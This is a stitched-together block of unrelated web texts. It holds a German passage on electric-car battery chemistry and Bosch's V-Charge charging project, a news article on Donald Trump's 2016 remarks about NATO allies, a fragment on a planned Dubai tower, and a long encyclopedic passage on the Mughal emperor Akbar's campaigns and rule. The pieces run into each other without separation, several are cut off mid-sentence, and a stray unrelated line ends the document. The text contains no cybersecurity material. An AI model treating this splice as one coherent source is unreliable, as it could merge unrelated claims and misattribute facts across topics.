Die Leistung der Batterie lässt sich mit verschiedenen Methoden verbessern. Beispielsweise spielt in der Zellchemie das Material der Anode und Kathode eine große Rolle. Aktuell besteht die Kathode meist aus Nickel-Cobalt Mangan (NCM) und Nickel-Cobalt-Aluminiumoxid (NCA). Die Anode besteht hingegen aus Graphiten, Soft- und Hard-Carbon oder Silizium-Kohlenstoff. Hochvolt-Elektrolyte können die Leistung des Akkus weiter steigern, da diese die Spannung innerhalb der Zelle auf viereinhalb bis fünf Volt erhöhen. Die wesentliche technische Herausforderung liegt darin, Sicherheit und Lebensdauer auch bei gesteigerter Leistung zu garantieren.
Ein vollautomatisiertes Fahrzeug vereinfacht das Laden deutlich. Denn es kann sich seine Ladestation gänzlich ohne den Fahrer suchen. Wie das funktioniert, zeigt das Projekt V-Charge von Bosch, VW und verschiedenen Universitäten in Europa. Die Idee dahinter: Das Elektroauto kann beispielsweise in einem Parkhaus bequem per Smartphone-App zur Ladestation geschickt werden. Kehrt der Fahrer zurück, kommt das Auto selbstständig wieder zum Abholpunkt. Auch andere Varianten sind denkbar: Das Fahrzeug einer Car-Sharing-Flotte könnte dann kurzfristig per Handy gleich zum Einsatzort bestellt werden. Auch hier verändern sich die Ansprüche an die Batterie – beispielsweise was die Lebensdauer betrifft. Denn Flottenfahrzeuge sind meist deutlich kürzer im Einsatz als die für Elektroauto-Batterien veranschlagten 15 Jahre. (Quelle: Bosch)
Link: Elektromobilität, Unternehmensbereich Mobility Solutions, Bosch-Gruppe
Weitere Beiträge: Batterien im „Second Life“, energyviews.de, 16. Oktober 2014DONALD Trump has threatened to withdraw military aid from a NATO ally under attack if he becomes president.
The billionaire businessman said he would first consider how much they had financially contributed to the alliance before pitching America’s military might in.
EPA 4 Donald Trump has pledged to put America's interests first
AP:Associated Press 4 Trump has chosen Mike Pence as his running mate in the US presidential race
AP:Associated Press 4 Trump is keen to slash military spending and has raised prospect of leaving expensive alliances
The Republican candidate insisted other countries in the 67-year alliance should share more of the costs long borne by Washington. He even raised the prospect of pulling out of treaties where he believes the burden is too great on the US.
Trump said he would “prefer to be able to continue” with existing alliances but only if all members pulled their weight and stopped relying on America’s deep pockets.
Speaking ahead of his address to the Republican convention where he will press his nationalistic “America First” agenda, he told the New York Times: “We are going to take care of this country first,” he said, “before we worry about everyone else in the world.”
The former reality TV star also suggested the US would only protect the Baltic states against Russian aggression based on their contribution to the alliance.
Asked if the US would automatically come to their aid, he said: “If they fulfil their obligations to us, the answer is yes.”
EPA 4 A naval officer inspects a Russian destroyer moored in the Crimea which the Russians seized in 2014
Trump also told the paper he would not pressure Tukey or other similar authoritarian allies to end crackdowns on political opponents or the suppression of civil liberties.
He said the US should try to “fix our own mess” before interfering in the domestic affairs of other countries.
“I don’t think we have a right to lecture,” he said. “Look at what is happening in our country. How are we going to lecture when people are shooting policemen in cold blood?”
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His comments raise fears about the country’s continued role as a peacekeeper and protector of human rights. Trump appeared to suggest the US would only continue to intervene if there was something in it for the country.
Trump repeated threats to withdraw tens of thousands of US troops from foreign bases like Japan and South Korea because the US would “spending a fortune on military”.
The real estate tycoon has been confirmed as the Party’s presidential candidate
at the Republican’s convention.Revealed: Plans to build the world's tallest building at 1km high
High times: An artist's impressionof a new sky scraper in Dubai that, when built, could become the world's tallest building
Plans to construct what could become the world's tallest building, at more than 1km high, were unveiled today.
Dubai developer Nakheel - the company that created man-made islands in the shapes of a palm tree and the world - said the structure will be the centre-piece of an inner-city harbour set to become the emirate's new, unofficial capital.
It would not comment on exactly how high or how expensive the Islamic design-inspired Nakheel Tower will be. The building will have "more than 200 floors" and be part of "a multi-billion pound development", the company said.
But "tallest building" claims are notoriously difficult to make. Debates about what counts as a candidate include whether buildings under construction should be considered and whether roof-top antennas |
ed pre-eminence.[43] When a powerful clan of Uzbek chiefs broke out in rebellion in 1564, Akbar decisively defeated and routed them in Malwa and then Bihar.[46] He pardoned the rebellious leaders, hoping to conciliate them, but they rebelled again, so Akbar had to quell their uprising a second time. Following a third revolt with the proclamation of Mirza Muhammad Hakim, Akbar's brother and the Mughal ruler of Kabul, as emperor, his patience was finally exhausted. Several Uzbek chieftains were subsequently slain and the rebel leaders trampled to death under elephants.[46] Simultaneously the Mirzas, a group of Akbar's distant cousins who held important fiefs near Agra, had also risen up in rebellion. They too were slain and driven out of the empire.[46] In 1566, Akbar moved to meet the forces of his brother, Muhammad Hakim, who had marched into the Punjab with dreams of seizing the imperial throne. Following a brief confrontation, however, Muhammad Hakim accepted Akbar's supremacy and retreated back to Kabul.[46]
In 1564, Mughal forces conquered the Gondwana kingdom, a thinly populated, hilly area in central India that was of interest to the Mughals because of its herd of wild elephants.[47] The territory was ruled over by Raja Vir Narayan, a minor, and his mother, Durgavati, a Rajput warrior queen of the Gonds.[46] Akbar did not personally lead the campaign because he was preoccupied with the Uzbek rebellion, leaving the expedition in the hands of Asaf Khan, the Mughal governor of Kara.[46][48] Durgavati committed suicide after her defeat at the Battle of Damoh, while Raja Vir Narayan was slain at the Fall of Chauragarh, the mountain fortress of the Gonds.[48] The Mughals seized immense wealth, an uncalculated amount of gold and silver, jewels and 1000 elephants. Kamala Devi, a younger sister of Durgavati, was sent to the Mughal harem.[48] The brother of Durgavati's deceased husband was installed as the Mughal administrator of the region.[48] Like in Malwa, however, Akbar entered into a dispute with his vassals over the conquest of Gondwana.[48] Asaf Khan was accused of keeping most of the treasures and sending back only 200 elephants to Akbar. When summoned to give accounts, he fled Gondwana. He went first to the Uzbeks, then returned to Gondwana where he was pursued by Mughal forces. Finally, he submitted and Akbar restored him to his previous position.[48]
Conquest of Rajputana [ edit ]
The Mughal Emperor Akbar shoots the Rajput warrior Jaimal during the Siege of Chittorgarh in 1568
Bullocks dragging siege-guns up hill during Akbar's attack on Ranthambhor Fort in 1568
Having established Mughal rule over northern India, Akbar turned his attention to the conquest of Rajputana. No imperial power in India based on the Indo-Gangetic plains could be secure if a rival centre of power existed on its flank in Rajputana.[48] The Mughals had already established domination over parts of northern Rajputana in Mewat, Ajmer, and Nagor.[42][46] Now, Akbar was determined to drive into the heartlands of the Rajput kings that had never previously submitted to the Muslim rulers of the Delhi Sultanate. Beginning in 1561, the Mughals actively engaged the Rajputs in warfare and diplomacy.[47] Most Rajput states accepted Akbar's suzerainty; the rulers of Mewar and Marwar, Udai Singh and Chandrasen Rathore, however, remained outside the imperial fold.[46] Rana Udai Singh was descended from the Sisodia ruler, Rana Sanga, who had died fighting Babur at the Battle of Khanwa in 1527.[46] As the head of the Sisodia clan, he possessed the highest ritual status of all the Rajput kings and chieftains in India. Unless Udai Singh was reduced to submission, the imperial authority of the Mughals would be lessened in Rajput eyes.[46] Furthermore, Akbar, at this early period, was still enthusiastically devoted to the cause of Islam and sought to impress the superiority of his faith over the most prestigious warriors in Brahminical Hinduism.[46]
In 1567, Akbar moved to reduce the Chittor Fort in Mewar. The fortress-capital of Mewar was of great strategic importance as it lay on the shortest route from Agra to Gujarat and was also considered a key to holding the interior parts of Rajputana. Udai Singh retired to the hills of Mewar, leaving two Rajput warriors, Jaimal and Patta, in charge of the defence of his capital.[49] Chittorgarh fell on February 1568 after a siege of four months. Akbar had the surviving defenders and 30,000 non-combatants massacred and their heads displayed upon towers erected throughout the region, in order to demonstrate his authority.[50][51] The booty that fell into the hands of the Mughals was distributed throughout the empire.[52] He remained in Chittorgarh for three days, then returned to Agra, where to commemorate the victory, he set up, at the gates of his fort, statues of Jaimal and Patta mounted on elephants.[53] Udai Singh's power and influence was broken. He never again ventured out his mountain refuge in Mewar and Akbar was content to let him be.[54]
The fall of Chittorgarh was followed up by a Mughal attack on the Ranthambore Fort in 1568. Ranthambore was held by the Hada Rajputs and reputed to be the most powerful fortress in India.[54] However, it fell only after a couple of months.[54] Akbar was now the master of almost the whole of Rajputana. Most of the Rajput kings had submitted to the Mughals.[54] Only the clans of Mewar continued to resist.[54] Udai Singh's son and successor, Pratap Singh, was later defeated by the Mughals at the Battle of Haldighati in 1576.[54] Akbar would celebrate his conquest of Rajputana by laying the foundation of a new capital, 23 miles (37 km) W.S.W of Agra in 1569. It was called Fatehpur Sikri ("the city of victory").[55] Pratap Singh, however, continuously attacked Mughals and was able to retain most of the kingdom of his ancestors in the life of Akbar.[56]
Annexation of Western and Eastern India [ edit ]
The court of young Akbar, age 13, showing his first imperial act: the arrest of an unruly courtier, who was once a favourite of Akbar's father. Illustration from a manuscript of the Akbarnama
Akbar's next military objectives were the conquest of Gujarat and Bengal, which connected India with the trading centres of Asia, Africa, and Europe through the Arabian Sea and the Bay of Bengal respectively.[54] Furthermore, Gujarat had been a haven for rebellious Mughal nobles, while in Bengal, the Afghans still held considerable influence under their ruler, Sulaiman Khan Karrani. Akbar first moved against Gujarat, which lay in the crook of the Mughal provinces of Rajputana and Malwa.[54] Gujarat, with its coastal regions, possessed areas of rich agricultural production in its central plain, an impressive output of textiles and other industrial goods, and the busiest seaports of India.[54][57] Akbar intended to link the maritime state with the massive resources of the Indo-Gangetic plains.[58] However, the ostensible casus belli was that the rebel Mirzas, who had previously been driven out of India, were now operating out of a base in southern Gujarat. Moreover, Akbar had received invitations from cliques in Gujarat to oust the reigning king, which served as justification for his military expedition.[54] In 1572, he moved to occupy Ahmedabad, the capital, and other northern cities, and was proclaimed the lawful sovereign of Gujarat. By 1573, he had driven out the Mirzas who, after offering token resistance, fled for refuge in the Deccan. Surat, the commercial capital of the region and other coastal cities soon capitulated to the Mughals.[54] The king, Muzaffar Shah III, was caught hiding in a corn field; he was pensioned off by Akbar with a small allowance.[54]
Having established his authority over Gujarat, Akbar returned to Fatehpur Sikiri, where he built the Buland Darwaza to commemorate his victories, but a rebellion by Afghan nobles supported by the Rajput ruler of Idar, and the renewed intrigues of the Mirzas forced his return to Gujarat.[58] Akbar crossed the Rajputana and reached Ahmedabad in eleven days – a journey that normally took six weeks. The outnumbered Mughal army then won a decisive victory on 2 September 1573. Akbar slew the rebel leaders and erected a tower out of their severed heads.[54] The conquest and subjugation of Gujarat proved highly profitable for the Mughals; the territory yielded a revenue of more than five million rupees annually to Akbar's treasury, after expenses.[54]
Akbar had now defeated most of the Afghan remnants in India. The only centre of Afghan power was now in Bengal, where Sulaiman Khan Karrani, an Afghan chieftain whose family had served under Sher Shah Suri, was reigning in power. While Sulaiman Khan scrupulously avoided giving offence to Akbar, his son, Daud Khan, who had succeeded him in 1572, decided otherwise.[59] Whereas Sulaiman Khan had the khutba read in Akbar's name and acknowledged Mughal supremacy, Daud Khan assumed the insignia of royalty and ordered the khutba to be proclaimed in his own name in defiance of Akbar. Munim Khan, the Mughal governor of Bihar, was ordered to chastise Daud Khan, but later, Akbar himself set out to Bengal.[59] This was an opportunity to bring the trade in the east under Mughal control.[60] In 1574, the Mughals seized Patna from Daud Khan, who fled to Bengal.[59] Akbar returned to Fatehpur Sikri and left his generals to finish the campaign. The Mughal army was subsequently victorious at the Battle of Tukaroi in 1575, which led to the annexation of Bengal and parts of Bihar that had been under the dominion of Daud Khan. Only Orissa was left in the hands of the Karrani dynasty as a fief of the Mughal Empire. A year later, however, Daud Khan rebelled and attempted to regain Bengal. He was defeated by the Mughal general, Khan Jahan Quli, and had to flee into exile. Daud Khan was later captured and executed by Mughal forces. His severed head was sent to Akbar, while his limbs were gibbeted at Tandah, the Mughal capital in Bengal.[59]
Campaigns in Afghanistan and Central Asia [ edit ]
Following his conquests of Gujarat and Bengal, Akbar was preoccupied with domestic concerns. He did not leave Fatehpur Sikri on a military campaign until 1581, when the Punjab was again invaded by his brother, Mirza Muhammad Hakim.[59] Akbar expelled his brother to Kabul and this time pressed on, determined to end the threat from Muhammad Hakim once and for all.[59] In contrast to the problem that his predecessors once had in getting Mughal nobles to stay on in India, the problem now was to get them to leave India.[59] They were, according to Abul Fazl "afraid of the cold of Afghanistan."[59] The Hindu officers, in turn, were additionally inhibited by the traditional taboo against crossing the Indus. Akbar, however, spurred them on. The soldiers were provided with pay eight months in advance.[59] In August 1581, Akbar seized Kabul and took up residence at Babur's old citadel. He stayed there for three weeks, in the absence of his brother, who had fled into the mountains.[59] Akbar left Kabul in the hands of his sister, Bakht-un-Nisa Begum, and returned to India. He pardoned his brother, who took up de facto charge of the Mughal administration in Kabul; Bakht-un-Nis continued to be the official governor. A few years later, in 1585, Muhammad Hakim died and Kabul passed into the hands of Akbar once again. It was officially incorporated as a province of the Mughal Empire.[59]
The Kabul expedition was the beginning of a long period of activity over the northern frontiers of the empire.[61] For thirteen years, beginning in 1585, Akbar remained in the north, shifting his capital to Lahore in the Punjab while dealing with challenges from beyond the Khyber Pass.[61] The gravest threat came from the Uzbeks, the tribe that had driven his grandfather, Babur, out of Central Asia.[59] They had been organised under Abdullah Khan Shaybanid, a capable military chieftain who had seized Badakhshan and Balkh from Akbar's distant Timurid relatives, and whose Uzbek troops now posed a serious challenge to the northwestern frontiers of the Mughal Empire.[59][62] The Afghan tribes on the border were also restless, partly on account of the hostility of the Yusufzai of Bajaur and Swat, and partly owing to the activity of a new religious leader, Bayazid, the founder of the Roshaniyya sect.[61] The Uzbeks were also known to be subsidising Afghans.[63]
In 1586, Akbar negotiated a pact with Abdullah Khan in which the Mughals agreed to remain neutral during the Uzbek invasion of Safavid held Khorasan.[63] In return, Abdullah Khan agreed to refrain from supporting, subsidising, or offering refuge to the Afghan tribes hostile to the Mughals. Thus freed, Akbar began a series of campaigns to pacify the Yusufzais and other rebels.[63] Akbar ordered Zain Khan to lead an expedition against the Afghan tribes. Raja Birbal, a renowned minister in Akbar's court, was also given military command. The expedition turned out to be a disaster, and on its retreat from the mountains, Birbal and his entourage were ambushed and killed by the Afghans at the Malandarai Pass in February 1586.[63] Akbar immediately fielded new armies to reinvade the Yusufzai lands under the command of Raja Todar Mal. Over the next six years, the Mughals contained the Yusufzai in the mountain valleys, and forced the submission of many chiefs in Swat and Bajaur.[63] Dozens of forts were built and occupied to secure the region. Akbar's response demonstrated his ability to clamp firm military control over the Afghan tribes.[63]
Despite his pact with the Uzbeks, Akbar nurtured a secret hope of reconquering Central Asia from today's Afghanistan.[64] However, Badakshan and Balkh remained firmly part of the Uzbek dominions. There was only a transient occupation of the two provinces by the Mughals under his grandson, Shah Jahan, in the mid-17th century.[62] Nevertheless, Akbar's stay in the northern frontiers was highly fruitful. The last of the rebellious Afghan tribes were subdued by 1600.[62] The Roshaniyya movement was firmly suppressed. The Afridi and Orakzai tribes, which had risen up under the Roshaniyyas, had been subjugated.[62] The leaders of the movement were captured and driven into exile.[62] Jalaluddin, the son of the Roshaniyya movement's founder, Bayazid, was killed in 1601 in a fight with Mughal troops near Ghazni.[62] Mughal rule over today's Afghanistan was finally secure, particularly after the passing of the Uzbek threat with the death of Abdullah Khan in 1598.[63]
Conquests in the Indus Valley [ edit ]
While in Lahore dealing with the Uzbeks, Akbar had sought to subjugate the Indus valley to secure the frontier provinces.[63] He sent an army to conquer Kashmir in the upper Indus basin when, in 1585, Ali Shah, the reigning king of the Shia Chak dynasty, refused to send his son as a hostage to the Mughal court. Ali Shah surrendered immediately to the Mughals, but another of his sons, Yaqub, crowned himself as king, and led a stubborn resistance to Mughal armies. Finally, in June, 1589, Akbar himself travelled from Lahore to Srinagar to receive the surrender of Yaqub and his rebel forces.[63] Baltistan and Ladakh, which were Tibetan provinces adjacent to Kashmir, pledged their allegiance to Akbar.[65] The Mughals also moved to conquer Sindh in the lower Indus valley. Since 1574, the northern fortress of Bhakkar had remained under imperial control. Now, in 1586, the Mughal governor of Multan tried and failed to secure the capitulation of Mirza Jani Beg, the independent ruler of Thatta in southern Sindh.[63] Akbar responded by sending a Mughal army to besiege Sehwan, the river capital of the region. Jani Beg mustered a large army to meet the Mughals.[63] The outnumbered Mughal forces defeated the Sindhi forces at the Battle of Sehwan. After suffering further defeats, Jani Beg surrendered to the Mughals in 1591, and in 1593, paid homage to Akbar in Lahore.[65]
Subjugation of parts of Baluchistan [ edit ]
As early as 1586, about half a dozen Baluchi chiefs, that were still under nominal Pani Afghan rule, had been persuaded to attend the imperial court and acknowledge the vassalage of Akbar. In preparations to take Kandahar from the Safavids, Akbar ordered the Mughal forces to conquer the rest of the Afghan held parts of Baluchistan in 1595.[65][66] The Mughal general, Mir Masum, led an attack on the stronghold of Sibi, situated to the northwest of Quetta and defeated a coalition of local chieftains in a pitched battle.[66] They were made to acknowledge Mughal supremacy and attend Akbar's court. As a result, the modern-day Pakistani and Afghan parts of Baluchistan, including the areas of the strategic region of Makran that lay within it, became a part of the Mughal Empire.[66] The Mughals now bordered Persian ruled Kandahar on three sides.[66]
Safavids and Kandahar [ edit ]
Kandahar was the name given by Arab historians to the ancient Indian kingdom of Gandhara.[67] It was intimately connected with the Mughals since the time of their ancestor, Timur, the warlord who had conquered much of Western, Central, and parts of South Asia in the 14th century. However, the Safavids considered it as an appanage of the Persian ruled territory of Khorasan and declared its association with the Mughal emperors to be a usurpation. In 1558, while Akbar was consolidating his rule over northern India, the Safavid emperor, Tahmasp I, had seized Kandahar and expelled its Mughal governor. For the next thirty years, it remained under Persian rule.[65] The recovery of Kandahar had not been a priority for Akbar, but after his prolonged military activity in the northern frontiers, a move to restore Mughal rule over the region became desirable.[65] The conquests of Sindh, Kashmir and parts of Baluchistan, and the ongoing consolidation of Mughal power over today's Afghanistan had added to Akbar's confidence.[65] Furthermore, Kandahar was at this time under threat from the Uzbeks, but the Emperor of Persia, himself beleaguered by the Ottoman Turks, was unable to send any reinforcements. Circumstances favoured the Mughals.[65]
In 1593, Akbar received the exiled Safavid prince, Rostam Mirza, after he had quarrelled with his family.[68] Rostam Mirza pledged allegiance to the Mughals; he was granted a rank (mansab) of commander of 5000 men and received Multan as a jagir.[68] Beleaguered by constant Uzbek raids, and seeing the reception of Rostom Mirza at the Mughal court, the Safavid prince and governor of Kandahar, Mozaffar Hosayn, also agreed to defect to the Mughals. Mozaffar Hosayn, who was in any case in an adversary relationship with his overlord, Shah Abbas, was granted a rank of 5000 men, and his daughter Kandahari Begum was married to Akbar's grandson, the Mughal prince, Khurram.[65][68] Kandahar was finally secured in 1595 with the arrival of a garrison headed by the Mughal general, Shah Bayg Khan.[68] The reconquest of Kandahar did not overtly disturb the Mughal-Persian relationship.[65] Akbar and the Persian Shah continued to exchange ambassadors and presents. However, the power equation between the two had now changed in favour of the Mughals.[65]
Deccan Sultans [ edit ]
In 1593, Akbar began military operations against the Deccan Sultans who had not submitted to his authority. He besieged Ahmednagar Fort in 1595, forcing Chand Bibi to cede Berar. A subsequent revolt forced Akbar to take the fort in August 1600. Akbar occupied Burhanpur and besieged Asirgarh Fort in 1599, and took it on 17 January 1601, when Miran Bahadur Shah refused to submit Khandesh. Akbar then established the Subahs of Ahmadnagar, Berar and Khandesh under Prince Daniyal. "By the time of his death in 1605, Akbar controlled a broad sweep of territory from the Bay of Bengal to Qandahar and Badakshan. He touched the western sea in Sind and at Surat and was well astride central India."[69]
Administration [ edit ]
Political government [ edit ]
Akbar's system of central government was based on the system that had evolved since the Delhi Sultanate, but the functions of various departments were carefully reorganised by laying down detailed regulations for their functioning[citation needed]
The revenue department was headed by a wazir, responsible for all finances and management of jagir and inam lands.
, responsible for all finances and management of and lands. The head of the military was called the mir bakshi, appointed from among the leading nobles of the court. The mir bakshi was in charge of intelligence gathering, and also made recommendations to the emperor for military appointments and promotions.
, appointed from among the leading nobles of the court. The was in charge of intelligence gathering, and also made recommendations to the emperor for military appointments and promotions. The mir saman was in charge of the imperial household, including the harems, and supervised the functioning of the court and royal bodyguard.
was in charge of the imperial household, including the harems, and supervised the functioning of the court and royal bodyguard. The judiciary was a separate organisation headed by a chief qazi, who was also responsible for religious beliefs and practices
Taxation [ edit ]
Akbar set about reforming the administration of his empire's land revenue by adopting a system that had been used by Sher Shah Suri. A cultivated area where crops grew well was measured and taxed through fixed rates based on the area's crop and productivity. However, this placed hardship on the peasantry because tax rates were fixed on the basis of prices prevailing in the imperial court, which were often higher than those in the countryside.[70] Akbar changed to a decentralised system of annual assessment, but this resulted in corruption among local officials and was abandoned in 1580, to be replaced by a system called the dahsala.[71] Under the new system, revenue was calculated as one-third of the average produce of the previous ten years, to be paid to the state in cash. This system was later refined, taking into account local prices, and grouping areas with similar productivity into assessment circles. Remission was given to peasants when the harvest failed during times of flood or drought.[71] Akbar's dahsala system is credited to Raja Todar Mal, who also served as a revenue officer under Sher Shah Suri,[72] and the structure of the revenue administration was set out by the latter in a detailed memorandum submitted to the emperor in 1582–83.[73]
Other local methods of assessment continued in some areas. Land which was fallow or uncultivated was charged at concessional rates.[74] Akbar also actively encouraged the improvement and extension of agriculture. The village continued to remain the primary unit of revenue assessment.[75] Zamindars of every area were required to provide loans and agricultural implements in times of need, to encourage farmers to plough as much land as possible and to sow seeds of superior quality. In turn, the zamindars were given a hereditary right to collect a share of the produce. Peasants had a hereditary right to cultivate the land as long as they paid the land revenue.[74] While the revenue assessment system showed concern for the small peasantry, it also maintained a level of distrust towards the revenue officials. Revenue officials were guaranteed only three-quarters of their salary, with the remaining quarter dependent on their full realisation of the revenue assessed.[76]
Military organisation [ edit ]
Akbar organised his army as well as the nobility by means of a system called the mansabdari. Under this system, each officer in the army was assigned a rank (a mansabdar), and assigned a number of cavalry that he had to supply to the imperial army.[72] The mansabdars were divided into 33 classes. The top three commanding ranks, ranging from 7000 to 10000 troops, were normally reserved for princes. Other ranks between 10 and 5000 were assigned to other members of the nobility. The empire's permanent standing army was quite small and the imperial forces mostly consisted of contingents maintained by the mansabdars.[77] Persons were normally appointed to a low mansab and then promoted, based on their merit as well as the favour of the emperor.[78] Each mansabdar was required to maintain a certain number of cavalrymen and twice that number of horses. The number of horses was greater because they had to be rested and rapidly replaced in times of war. Akbar employed strict measures to ensure that the quality of the armed forces was maintained at a high level; horses were regularly inspected and only Arabian horses were normally employed.[79] The mansabdars were remunerated well for their services and constituted the highest paid military service in the world at the time.[78]
Capital [ edit ]
Diwan-i-Khas (Hall of Private Audience) in Fatehpur Sikri (Hall of Private Audience) in Fatehpur Sikri
Akbar was a follower of Salim Chishti, a holy man who lived in the region of Sikri near Agra. Believing the area to be a lucky one for himself, he had a mosque constructed there for the use of the priest. Subsequently, he celebrated the victories over Chittor and Ranthambore by laying the foundation of a new walled capital, 23 miles (37 km) west of Agra in 1569, which was named Fatehpur ("town of victory") after the conquest of Gujarat in 1573 and subsequently came to be known as Fatehpur Sikri in order to distinguish it from other similarly named towns.[49] Palaces for each of Akbar's senior queens, a huge artificial lake, and sumptuous water-filled courtyards were built there. However, the city was soon abandoned and the capital was moved to Lahore in 1585. The reason may have been that the water supply in Fatehpur Sikri was insufficient or of poor quality. Or, as some historians believe, Akbar had to attend to the northwest areas of his empire and therefore moved his capital northwest. Other sources indicate Akbar simply lost interest in the city[80] or realised it was not militarily defensible. In 1599, Akbar shifted his capital back to Agra from where he reigned until his death.
Economy [ edit ]
Trade [ edit ]
The reign of Akbar was characterised by commercial expansion.[81] The Mughal government encouraged traders, provided protection and security for transactions, and levied a very low custom duty to stimulate foreign trade. Furthermore, it strived to foster a climate conductive to commerce by requiring local administrators to provide restitution to traders for goods stolen while in their territory. To minimise such incidents, bands of highway police called rahdars were enlisted to parol roads and ensure safety of traders. Other active measures taken included the construction and protection of routes of commerce and communications.[82] Indeed, Akbar would make concerted efforts to improve roads to facilitate the use of wheeled vehicles through the Khyber Pass, the most popular route frequented by traders and travellers in journeying from Kabul into Mughal India.[82] He also strategically occupied the northwestern cities of Multan and Lahore in the Punjab and constructed great forts, such as the one at Attock near the crossing of the Grand Trunk Road and the Indus river, as well as a network of smaller forts called thanas throughout the frontier to secure the overland trade with Persia and Central Asia.[82]
Coins [ edit ]
Akbar was a great innovator as far as coinage is concerned. The coins of Akbar set a new chapter in India's numismatic history. The coins of Akbar's grandfather, Babur, and father, Humayun, are basic and devoid of any innovation as the former was busy establishing the foundations of the Mughal rule in India while the latter was ousted by the Afghan, Farid Khan Sher Shah Suri, and returned to the throne only to die a year later. While the reign of both Babur and Humayun represented turmoil, Akbar's relative long reign of 50 years allowed him to experiment with coinage.
Akbar introduced coins with decorative floral motifs, dotted borders, quatrefoil and other types. His coins were both round and square in shape with a unique'mehrab' (lozenge) shape coin highlighting numismatic calligraphy at its best. Akbar's portrait type gold coin (Mohur) is generally attributed to his son, Prince Salim (later Emperor Jahangir), who had rebelled and then sought reconciliation thereafter by minting and presenting his father with gold Mohur's bearing Akbar's portrait. The tolerant view of Akbar is represented by the 'Ram-Siya' silver coin type while during the latter part of Akbar's reign, we see coins portraying the concept of Akbar's newly promoted religion 'Din-e-ilahi' with the Ilahi type and Jalla Jalal-Hu type coins.
The coins, left, represent examples of these innovative concepts introduced by Akbar that set the precedent for Mughal coins which was refined and perfected by his son, Jahangir, and later by his grandson, Shah Jahan.
Diplomacy [ edit ]
Matrimonial alliances [ edit ]
The practice of arranging marriages between Hindu princesses and Muslim kings was known much before Akbar's time, but in most cases these marriages did not lead to any stable relations between the families involved, and the women were lost to their families and did not return after marriage.[83][84][85]
However, Akbar's policy of matrimonial alliances marked a departure in India from previous practice in that the marriage itself marked the beginning of a new order of relations, wherein the Hindu Rajputs who married their daughters or sisters to him would be treated on par with his Muslim fathers-in-law and brothers in-law in all respects except being able to dine and pray with him or take Muslim wives. These Rajputs were made members of his court and their daughters' or sisters' marriage to a Muslim ceased to be a sign of degradation, except for certain proud elements who still considered it a sign of humiliation.[85]
Birth of Salim, the future emperor Jahangir
The Kacchwaha Rajput, Raja Bihari Mal, of the small kingdom of Amer, who had come to Akbar's court shortly after the latter's accession, entered into an alliance by giving his daughter in marriage to the emperor. Bihari Mal was made a noble of high rank in the imperial court, and subsequently his son Bhagwant Das and grandson Man Singh also rose to high ranks in the nobility.[84]
Other Rajput kingdoms also established matrimonial alliances with Akbar, but matrimony was not insisted on as a precondition for forming alliances. Two major Rajput clans remained aloof – the Sisodiyas of Mewar and Hadas of Ranthambore. In another turning point of Akbar's reign, Raja Man Singh I of Amber went with Akbar to meet the Hada leader, Surjan Hada, to effect an alliance. Surjan accepted an alliance on the condition that Akbar did not marry any of his daughters. Consequently, no matrimonial alliance was entered into, yet Surjan was made a noble and placed in charge of Garh-Katanga.[84] Certain other Rajput nobles did not like the idea of their kings marrying their daughters to Mughals. Rathore Kalyandas threatened to kill both Mota Raja Rao Udaisingh and Jahangir because Udai Singh had decided to marry his daughter to Jahangir. Akbar on hearing this ordered imperial forces to attack Kalyandas at Siwana. Kalyandas died fighting along with his men and the women of Siwana committed Jauhar.[86]
The political effect of these alliances was significant. While some Rajput women who entered Akbar's harem converted to Islam, they were generally provided full religious freedom, and their relatives, who continued to remain Hindu, formed a significant part of the nobility and served to articulate the opinions of the majority of the common populace in the imperial court.[84] The interaction between Hindu and Muslim nobles in the imperial court resulted in exchange of thoughts and blending of the two cultures. Further, newer generations of the Mughal line represented a merger of Mughal and Rajput blood, thereby strengthening ties between the two. As a result, the Rajputs became the strongest allies of the Mughals, and Rajput soldiers and generals fought for the Mughal army under Akbar, leading it in several campaigns including the conquest of Gujarat in 1572.[87] Akbar's policy of religious tolerance ensured that employment in the imperial administration was open to all on merit irrespective of creed, and this led to an increase in the strength of the administrative services of the empire.[88]
Another legend is that Akbar's daughter Meherunnissa was enamoured by Tansen and had a role in his coming to Akbar's court.[89] Tansen converted to Islam from Hinduism, apparently on the eve of his marriage with Akbar's daughter.[90][91]
Foreign relations [ edit ]
Relations with the Portuguese [ edit ]
An Emperor shall be ever Intent on Conquest, Otherwise His enemies shall rise in arms against him. Jalal-ud-Din Muhammad Akbar,
At the time of Akbar's ascension in 1556, the Portuguese had established several fortresses and factories on the western coast of the subcontinent, and largely controlled navigation and sea-trade in that region. As a consequence of this colonialism, all other trading entities were subject to the terms and conditions of the Portuguese, and this was resented by the rulers and traders of the time including Bahadur Shah of Gujarat.[92]
In the year 1572 the Mughal Empire annexed Gujarat and acquired its first access to the sea after local officials informed Akbar that the Portuguese had begun to exert control in the Indian Ocean. Hence Akbar was conscious of the threat posed by the presence of the Portuguese and remained content with obtaining a cartaz (permit) from them for sailing in the Persian Gulf region.[94] At the initial meeting of the Mughals and the Portuguese during the Siege of Surat in 1572, the Portuguese, recognising the superior strength of the Mughal army, chose to adopt diplomacy instead of war. The Portuguese Governor, upon the request of Akbar, sent him an ambassador to establish friendly relations.[95] Akbar's efforts to purchase and secure from the Portuguese some of their compact artillery pieces were unsuccessful and thus Akbar could not establish the Mughal navy along the Gujarat coast.[96]
Akbar accepted the offer of diplomacy, but the Portuguese continually asserted their authority and power in the Indian Ocean; in fact Akbar was highly concerned when he had to request a permit from the Portuguese before any ships from the Mughal Empire were to depart for the Hajj pilgrimage to Mecca and Medina.[97] In 1573, he issued a firman directing Mughal administrative officials in Gujarat not to provoke the Portuguese in the territory they held in Daman. The Portuguese, in turn, issued passes for the members of Akbar's family to go on Hajj to Mecca. The Portuguese made mention of the extraordinary status of the vessel and the special status to be accorded to its occupants.[98]
In September 1579 Jesuits from Goa were invited to visit the court of Akbar.[99] The emperor had his scribes translate the New Testament and granted the Jesuits freedom to preach the Gospel.[100] One of his sons, Sultan Murad Mirza, was entrusted to Antoni de Montserrat for his education.[101][102] While debating at court, the Jesuits did not confine themselves to the exposition of their own beliefs but also reviled Islam and Muhammad. Their comments enraged the Imams and Ulama, who objected to the remarks, but Akbar ordered their comments to be recorded and observed the Jesuits and their behaviour carefully. This event was followed by a rebellion of Muslim clerics in 158 |
personal property, so long as the game was played frequently.
